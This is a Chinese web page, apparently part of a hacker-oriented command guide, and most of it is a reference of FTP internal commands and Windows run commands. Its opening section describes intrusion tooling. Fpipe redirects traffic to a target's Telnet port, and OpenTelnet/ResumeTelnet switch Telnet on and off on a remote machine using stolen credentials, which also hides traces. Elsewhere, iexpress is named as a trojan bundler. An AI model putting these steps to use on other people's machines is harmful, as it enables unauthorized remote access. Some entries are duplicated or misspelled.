Fpipe -l 23 -s 88 -r 23 目标IP   把本机向目标IP发送的23端口Telnet请求经端口重定向后,就通过88端口发送到目标IP的23端口。(与目标IP建立Telnet时本机就用的88端口与其相连接)然后:直接Telnet 127.0.0.1(本机IP)就连接到目标IP的23端口了。
OpenTelnet.exe (远程开启telnet工具)
opentelnet.exe \\IP 帐号 密码 ntlm认证方式 Telnet端口   (不需要上传ntlm.exe破坏微软的身份验证方式)直接远程开启对方的telnet服务后,就可用telnet \\ip 连接上对方。
NTLM认证方式:0:不使用NTLM身份验证;1:先尝试NTLM身份验证,如果失败,再使用用户名和密码;2:只使用NTLM身份验证。

ResumeTelnet.exe (OpenTelnet附带的另一个工具)
resumetelnet.exe \\IP 帐号 密码 用Telnet连接完对方后,就用这个命令将对方的Telnet设置还原,并同时关闭Telnet服务。     
   
6、FTP命令详解:

FTP命令是Internet用户使用最频繁的命令之一,熟悉并灵活应用FTP的内部命令,可以大大方便使用者,并收到事半功倍之效。如果你想学习使用进行后台FTP下载,那么就必须学习FTP指令。

FTP的命令行格式为:
ftp -v -d -i -n -g [主机名] ,其中

-v 显示远程服务器的所有响应信息;

-n 限制ftp的自动登录,即不使用;.n etrc文件;

-d 使用调试方式;

-g 取消全局文件名。

FTP使用的内部命令如下(中括号表示可选项):

1.![cmd[args]]:在本地机中执行交互shell,exit回到ftp环境,如:!ls*.zip
2.$ macro-ame[args]: 执行宏定义macro-name。

3.account[password]: 提供登录远程系统成功后访问系统资源所需的补充口令。
4.append local-file[remote-file]:将本地文件追加到远程系统主机,若未指定远程系统文件名,则使用本地文件名。

5.ascii:使用ascii类型传输方式。
6.bell:每个命令执行完毕后计算机响铃一次。

7.bin:使用二进制文件传输方式。
8.bye:退出ftp会话过程。

9.case:在使用mget时,将远程主机文件名中的大写转为小写字母。
10.cd remote-dir:进入远程主机目录。

11.cdup:进入远程主机目录的父目录。
12.chmod mode file-name:将远程主机文件file-name的存取方式设置为mode,如:chmod 777 a.out。

13.close:中断与远程服务器的ftp会话(与open对应)。
14.cr:使用asscii方式传输文件时,将回车换行转换为回行。

15.delete remote-file:删除远程主机文件。
16.debug[debug-value]:设置调试方式, 显示发送至远程主机的每条命令,如:deb up 3,若设为0,表示取消debug。

17.dir[remote-dir][local-file]:显示远程主机目录,并将结果存入本地文件。
18.disconnection:同close。

19.form format:将文件传输方式设置为format,缺省为file方式。
20.get remote-file[local-file]: 将远程主机的文件remote-file传至本地硬盘的local-file。

21.glob:设置mdelete,mget,mput的文件名扩展,缺省时不扩展文件名,同命令行的-g参数。
22.hash:每传输1024字节,显示一个hash符号(#)。

23.help[cmd]:显示ftp内部命令cmd的帮助信息,如:help get。
24.idle[seconds]:将远程服务器的休眠计时器设为[seconds]秒。

25.image:设置二进制传输方式(同binary)。
26.lcd[dir]:将本地工作目录切换至dir。

27.ls[remote-dir][local-file]:显示远程目录remote-dir, 并存入本地文件local-file。
28.macdef macro-name:定义一个宏,遇到macdef下的空行时,宏定义结束。

29.mdelete[remote-file]:删除远程主机文件。
30.mdir remote-files local-file:与dir类似,但可指定多个远程文件,如 :mdir *.o.*.zipoutfile 。

31.mget remote-files:传输多个远程文件。
32.mkdir dir-name:在远程主机中建一目录。

33.mls remote-file local-file:同nlist,但可指定多个文件名。
34.mode[modename]:将文件传输方式设置为modename, 缺省为stream方式。

35.modtime file-name:显示远程主机文件的最后修改时间。
36.mput local-file:将多个文件传输至远程主机。

37.newer file-name: 如果远程机中file-name的修改时间比本地硬盘同名文件的时间更近,则重传该文件。
38.nlist[remote-dir][local-file]:显示远程主机目录的文件清单,并存入本地硬盘的local-file。

39.nmap[inpattern outpattern]:设置文件名映射机制, 使得文件传输时,文件中的某些字符相互转换, 如:nmap $1.$2.$3[$1,$2].[$2,$3],则传输文件a1.a2.a3时,文件名变为a1,a2。 该命令特别适用于远程主机为非UNIX机的情况。
40.ntrans[inchars[outchars]]:设置文件名字符的翻译机制,如ntrans1R,则文件名LLL将变为RRR。

41.open host[port]:建立指定ftp服务器连接,可指定连接端口。
42.passive:进入被动传输方式。

43.prompt:设置多个文件传输时的交互提示。
44.proxy ftp-cmd:在次要控制连接中,执行一条ftp命令, 该命令允许连接两个ftp服务器,以在两个服务器间传输文件。第一条ftp命令必须为open,以首先建立两个服务器间的连接。
45.put local-file[remote-file]:将本地文件local-file传送至远程主机。
46.pwd:显示远程主机的当前工作目录。

47.quit:同bye,退出ftp会话。
48.quote arg1,arg2…:将参数逐字发至远程ftp服务器,如:quote syst.

49.recv remote-file[local-file]:同get。
50.reget remote-file[local-file]:类似于get, 但若local-file存在,则从上次传输中断处续传。

51.rhelp[cmd-name]:请求获得远程主机的帮助。
52.rstatus[file-name]:若未指定文件名,则显示远程主机的状态, 否则显示文件状态。

53.rename[from][to]:更改远程主机文件名。
54.reset:清除回答队列。

55.restart marker:从指定的标志marker处,重新开始get或put,如:restart 130。
56.rmdir dir-name:删除远程主机目录。

57.runique:设置文件名只一性存储,若文件存在,则在原文件后加后缀.1, .2等。
58.send local-file[remote-file]:同put。

59.sendport:设置PORT命令的使用。
60.site arg1,arg2…:将参数作为SITE命令逐字发送至远程ftp主机。

61.size file-name:显示远程主机文件大小,如:site idle 7200。
62.status:显示当前ftp状态。

63.struct[struct-name]:将文件传输结构设置为struct-name, 缺省时使用stream结构。
64.sunique:将远程主机文件名存储设置为只一(与runique对应)。

65.system:显示远程主机的操作系统类型。
66.tenex:将文件传输类型设置为TENEX机的所需的类型。

67.tick:设置传输时的字节计数器。
68.trace:设置包跟踪。

69.type[type-name]:设置文件传输类型为type-name,缺省为ascii,如:type binary,设置二进制传输方式。
70.umask[newmask]:将远程服务器的缺省umask设置为newmask,如:umask 3

71.user user-name[password][account]:向远程主机表明自己的身份,需要口令时,必须输入口令,如:user anonymous my@email。
72.verbose:同命令行的-v参数,即设置详尽报告方式,ftp 服务器的所有响 应都将显示给用户,缺省为on.

73.?[cmd]:同help.
:计算机运行命令全集 winver———检查Windows版本
wmimgmt.msc—-打开windows管理体系结构
wupdmgr——–windows更新程序
winver———检查Windows版本
wmimgmt.msc—-打开windows管理体系结构
wupdmgr——–windows更新程序
wscript——–windows脚本宿主设置
write———-写字板winmsd—–系统信息
wiaacmgr——-扫描仪和照相机向导
winchat——–XP自带局域网聊天
mem.exe——–显示内存使用情况
Msconfig.exe—系统配置实用程序
mplayer2——-简易widnows media player
mspaint——–画图板
mstsc———-远程桌面连接
mplayer2——-媒体播放机
magnify——–放大镜实用程序
mmc————打开控制台
mobsync——–同步命令
dxdiag———检查DirectX信息
drwtsn32—— 系统医生
devmgmt.msc— 设备管理器
dfrg.msc——-磁盘碎片整理程序
diskmgmt.msc—磁盘管理实用程序
dcomcnfg——-打开系统组件服务
ddeshare——-打开DDE共享设置
dvdplay——–DVD播放器
net stop messenger—–停止信使服务
net start messenger—-开始信使服务
notepad——–打开记事本
nslookup——-网络管理的工具向导
ntbackup——-系统备份和还原
narrator——-屏幕讲述人
ntmsmgr.msc—-移动存储管理器
ntmsoprq.msc—移动存储管理员操作请求
netstat -an—-(TC)命令检查接口
syncapp——–创建一个公文包
sysedit——–系统配置编辑器
sigverif——-文件签名验证程序
sndrec32——-录音机
shrpubw——–创建共享文件夹
secpol.msc—–本地安全策略
syskey———系统加密,一旦加密就不能解开,保护windows xp系统的双重密码
services.msc—本地服务设置
Sndvol32——-音量控制程序
sfc.exe——–系统文件检查器
sfc /scannow—windows文件保护
tsshutdn——-60秒倒计时关机命令
tourstart——xp简介(安装完成后出现的漫游xp程序)
taskmgr——–任务管理器
eventvwr——-事件查看器
eudcedit——-造字程序
explorer——-打开资源管理器
packager——-对象包装程序
perfmon.msc—-计算机性能监测程序
progman——–程序管理器
regedit.exe—-注册表
rsop.msc——-组策略结果集
regedt32——-注册表编辑器
rononce -p —-15秒关机
regsvr32 /u *.dll—-停止dll文件运行
regsvr32 /u zipfldr.dll——取消ZIP支持
cmd.exe——–CMD命令提示符
chkdsk.exe—–Chkdsk磁盘检查
certmgr.msc—-证书管理实用程序
calc———–启动计算器
charmap——–启动字符映射表
cliconfg——-SQL SERVER 客户端网络实用程序
Clipbrd——–剪贴板查看器
conf———–启动netmeeting
compmgmt.msc—计算机管理
cleanmgr——-垃圾整理
ciadv.msc——索引服务程序
osk————打开屏幕键盘
odbcad32——-ODBC数据源管理器
oobe/msoobe /a—-检查XP是否激活
lusrmgr.msc—-本机用户和组
logoff———注销命令
iexpress——-木马捆绑工具,系统自带
Nslookup——-IP地址侦测器
fsmgmt.msc—–共享文件夹管理器
utilman——–辅助工具管理器
gpedit.msc—–组策略

Pages: 1 2 Next